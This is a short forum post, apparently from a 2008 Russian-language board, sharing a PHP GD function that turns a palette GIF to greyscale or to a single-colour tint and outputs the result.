    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Данная функция позволяет конвертировать цветное изображение в черно-белое.

    PHP:
    <?php
    function MakeColoursGrey($im,$col){
     
    $total=ImageColorsTotal($im);
     for(
    $i=0;$i<$total;$i++){
       
    $old=ImageColorsForIndex($im,$i);
      
       
    $commongrey=(int)($old[red]+$old[green]+$old[blue])/3;
       if(!
    $col){
        
    ImageColorSet($im,$i,$commongrey,$commongrey,$commongrey);
       }elseif(
    $col==1){
        
    ImageColorSet($im,$i,$commongrey,0,0);
       }elseif(
    $col==2){
        
    ImageColorSet($im,$i,0,$commongrey,0);
       }elseif(
    $col==3){
        
    ImageColorSet($im,$i,0,0,$commongrey);
       }
     }
    }

    $img=imagecreatefromgif($src);

    MakeColoursGrey($img,$col);

    Header("Content-Type: image/gif");

    ImageGif($img);
    ?>
     
Loading...